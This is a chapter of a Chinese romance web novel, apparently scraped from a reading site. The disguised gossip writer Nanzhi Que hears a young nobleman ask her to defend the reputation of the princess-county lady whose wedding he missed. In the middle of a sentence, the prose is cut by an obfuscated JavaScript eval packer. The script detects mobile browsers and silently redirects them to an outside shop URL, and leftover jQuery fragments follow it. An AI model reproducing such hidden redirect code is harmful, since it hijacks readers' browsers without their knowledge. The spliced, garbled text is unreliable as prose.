20. 蝶恋之花
作品:《匿名红娘掉马了吗》 所幸纵纹腹小鸮昼伏夜出的习性人尽皆知,小乖的突然举动并未惹来怀疑。待崔子煦一行人出城,虞南枝再次跨越大半个城池,回了镇国公府,没有惊动任何人。
不过,虞南枝还是少睡了那么几个时辰,这才导致她今日的精神稍显倦怠。
“昨晚出去帮了个小忙,好说歹说没让人真死了。”
虞南枝的话简明,刘茹燕马上意会,“这么看杨十一郎还得谢你,不然他估计已经是个大冰坨子了。”
“希望我后面几天陆续把事情披露出来后,杨十一郎还会如阿燕你所说的这般感谢我。”虞南枝一边重新汇编草稿,一边接话说道。
一直以来,杨十一郎对溧阳县主的心思均十分隐秘,但甫一提到有关溧阳县主的事,整个人就别扭至极,表面一副和他没有关系,却在背地里偷偷关注。据虞南枝所知,杨十一郎有一本册子,里面贴满了南枝鹊小报上和溧阳县主有关的内容。
虞南枝查到这件事的第一想法就是——
这家伙真的好像……躲在阴影里偷窥的男鬼。
刘茹燕不明内情,言道:“你这不是在帮他吗?”
虞南枝闻言没有回答,只是意味深长地笑了笑,一副高深莫测的模样。
刘茹燕看出其中有猫腻,下一刻,突然扑到虞南枝背上,试图挠她的胳肢窝。
“说不说?说不说?”
“不说。”
“嗯——?”
“……说,我说!”
……
###
午膳过后,杨十一郎修整过一番,就被杨少卿和杨大郎二人依诺带去千金长公主府负荆请罪。当然,他们被怒气尚未消去的千金长公主下令拦在了门外,直接吃了个闭门羹。
杨氏一行人久候无法,只得打道回府,并令家仆准备了厚礼送至长公主府赔罪。
于是,长安城的百姓不免又看了番热闹,给关于杨郑两家的这场婚事再添了不少说法。
当日晚间,竹滟书阁内人声渐寂,唯独阁顶依旧灯火明亮。
虞南枝揭下帷帽,脱去罩在最外边的一层黑衣,取出藏于怀中的稿纸,平铺在桌案上。
她早上已来过竹滟书阁,按照惯例,夜间仅需让小乖送来写好的稿子即可,奈何稿子的后她半部分写得实在不顺,故而特地来书阁征求刘茹燕的一二意见。
提笔在纸上落下几个字,虞南枝悄然抬头,侧耳开始收集周围的消息。
往常只要是她来,这个时候刘茹燕人应该已经上楼了,应该是被什么事情暂时绊住了。
果然,下一刻门扉被推开,刘茹燕端着一个盒子进了屋子。虞南枝一眼即认出这她存在书阁的东西,里面装着些易容修颜的工具。
“枝枝你来的正好。”木盒“嘭”地落下,刘茹燕在虞南枝对面随意而坐,“杨十一郎来了,就在楼下,带了二十贯钱,指名要见南枝鹊。”
“他想要这个月最后一枝红梅?”虞南枝一句话道明杨十一郎来意。
刘茹燕点头,“我看他急色匆匆,估计是为了同溧阳县主的事。”
从前的那些客人无一不是掷了花,便回去听候小报上的消息,哪有杨十一郎这般急切的,直接堵在书阁门口不走,甚至点名道姓一定要见南枝鹊。
“那他来的倒正好。”虞南枝心想,杨十一郎这一来,她没写完的稿子可算是有了着落。
刘茹燕笑道:“我猜你要见他,便把装扮的东西带了上来,另外叫人收拾了二楼的会客室。”
虞南枝露出了笑容,“就你最了解我,还得多谢阿燕安排。”
半柱香后,杨十一郎被书阁博士缓缓引入二楼的会客室。
会客室内,布置清简婉约,左右两侧樟木书架各种案卷书籍归置整齐,错落有致。中央青铜莲花炉内香雾袅袅而起,气味隽永,仿佛山间葳蕤草木。
屋内摆了两张桌案,相隔大约有七八尺远。杨十一郎在书阁博士备好的坐垫上坐定,这才抬眼望向对面。
对面的桌案前并肩坐着两名年轻女子。一人面颊微丰,妆容富贵,眉心绘有一点红钿,嘴角始终带笑,眉眼间尽显精明伶俐;而另一人容色平淡不说,周身竟未见珠翠,只一袭浅青衣裙,却隐隐可窥高华之气。
杨十一郎生于世家,略懂些识人之术,心下笃定前一位便是大名鼎鼎的书商刘家如今在长安的掌事人。至于后一位,他亦有了猜测。
“弘农杨氏杨十一见过刘娘子,见过……”杨十一郎对刘茹燕遥遥一礼,又转而向虞南枝叉手致意,“南枝鹊先生。”
易了容貌的虞南枝清了清嗓子,故作惊讶道:“小女适才还未曾开口,杨郎君何以认为我便是南枝鹊?”
杨十一郎如实答道:“因为两位娘子的气质不同。刘娘子精明爽朗,更是见过了生意场上的风雨,尽管有所收敛,看我时仍流露了些许压迫之感。而先生您纵然打扮简单,但头上的那根玉簪是上好的蓝田白玉,表明您生性内敛却也更加注重实际。”
虞南枝指尖轻抚过白玉簪盈润光滑的表面,心底泛起一丝得意——
这身打扮还真是换对了,果然骗过了杨十一郎。
也不知日后他若是遇见其他疑似见过南枝鹊的人会不会惊诧万分?毕竟南枝鹊对外的模样实在过于多变,时而是妙龄少女,时而是中年男子,时而是白发老媪……
“这样轻易就能分辨出我们,杨郎君似乎你很了解女子。”刘茹燕试探道,“看来外界的传言果真没错,杨郎君看着老实,实则万花丛中过,不想过上被人日日管束的生活,毅然决然逃了溧阳县主的婚。”
“绝无此事!”杨十一郎涨红了脸,大声反驳。
刘茹燕:“那就是有了留恋之人,奈何家中不允,不忍心上人日后屈居人下,受人搓磨,故而以此抗婚。”
“没……没有…….”提到留恋之人,杨十一郎明显唇齿打颤,甚至有些心虚。过了好一会儿,他方一字一句说道:“刘娘子方才所提,皆为妄语,某一个都没有。”
“杨郎君猜得确实不错,我便是南枝鹊。”虞南枝制止了还要出言逗弄杨十一郎的刘茹燕,“夜色渐浓,杨郎君不妨直接道明来意,否则再晚了,贵府找不到人,长安城又要无端掀起一场风波。”
杨十一郎眼中似有挣扎之色,手指深深掐入掌心,一时之间拿不定主意。
虞南枝可不管杨十一郎内心如何纠结,径直戳破他来意,“杨郎君此来,除了昨日未成的那场婚礼,我也想不到其他缘故了,对吧?”
“南......南先生......”被说中了心事的杨十一郎支支吾吾,嘴里半天憋不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901963|191493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出几个字。
刘茹燕看他那窘迫样,“噗嗤”一声笑了出来,下了一剂猛药,“是要找消息?还是要南枝鹊替你在小报上说明以平息千金长公主府的怒火?杨郎君还是直说的好。”
杨十一郎心下震动,他明明不是那么想的,可是反驳的话却卡在喉咙里怎么也说不出口。
“嘶——”疼痛自手心传来,杨十一郎垂眸一瞧,手心竟被掐出了紫色的血淤。半晌,他心一横,终于下定了决心。
“如此冒昧星夜来访,杨某是想拜托南先生能在明日的小报上代为澄清,某对溧阳县主从未有任何不满之意,她是个极好的女娘,是我配不上她。”
说道最后,杨十一郎语气中透着一股难言的伤感。
溧阳那样明媚肆意的人,简直就是天上的太阳,可望而不可即,昨日的阴差阳错大概就是天意。
虞南枝一边出声请端着茶壶候在门外的书阁博士入内,一边说道:“杨郎君所言同阿燕的猜测似乎也无甚分别,但皇室贵人脾性难测,我可不敢保证长公主和县主看了小报上的内容会消气。”
杨十一郎连忙辩解:“世间之成败无常,没人能保证一定就能成功。再说,某请南先生撰文,也并非是要让长公主和县主对我怒气俱消,而是为了不带累县主的名声。”
“为人不为己,杨郎君待溧阳县主果然一片赤忱真心。”
虞南枝轻声说着,杨十一郎惊愕不已,完全没料到她就这般刨开了他最隐秘的心思。
他原本以为,只要自己不说,便一辈子不会有人知晓。
“今日,你在明德门出现之时,那只完好的衣袖中藏着一枝芍药,对不对?你天光未亮时出城,为的就是去取这只芍药作为新婚礼物赠予溧阳县主,只可惜寒风一夜摧残,花朵彻底凋零。”
如同杨十一郎现下的心境一般,七零八落。
“外边的传言果真不假,论起长安的男女情事没有人比南先生更清楚了。”杨十一郎虽因羞窘面上泛了些薄红,却更笃定南枝鹊能为他解决难题,索性再无保留,“我与县主算得上孩提之时便已相识,那日小小的她骑着红栗马踏过曲江池畔,无意间撞落了一颗苹果入我之怀。”
也撞入了他的心田。
“而那样的女孩子,只会让人心向往之。县主身份高贵,不可攀折,然有一日她竟然会注意到我,替我出头,请我进长公主府一道玩耍。因我阿娘出身缘故,高门子弟有时会以此讥讽。可县主却说,以出身论英雄的都是狗熊,往祖上扒个几千几百年,谁家祖宗不是在地里刨食,愣是把那几人怼得哑口无言。从那时起,县主便是我心中的暖阳。”
“半年前,县主已至双十年华,宫中圣人突然垂问县主婚事,正值西域高昌有意与我朝和亲,县主便开始现寻亲事,只是许多家郎君提及与县主成亲就退避三舍,最终才寻到了我头上。我知道因我的缘故,长安又生出许多流言,有说县主性情刁蛮霸凌夫婿,也有说县主水性杨花,所以我才不愿意与她成婚。可当日定亲是我占便宜,昨日失约是我负她,她的名声不该因我有瑕。故而,还望先生执笔。”
杨十一郎言罢,深深向虞南枝揖了一礼。
虞南枝指尖掠过茶盏边缘,氤氲的雾气模糊了她的眉眼,“杨郎君心意之真挚,非我执笔能描,不若你亲自来写?”

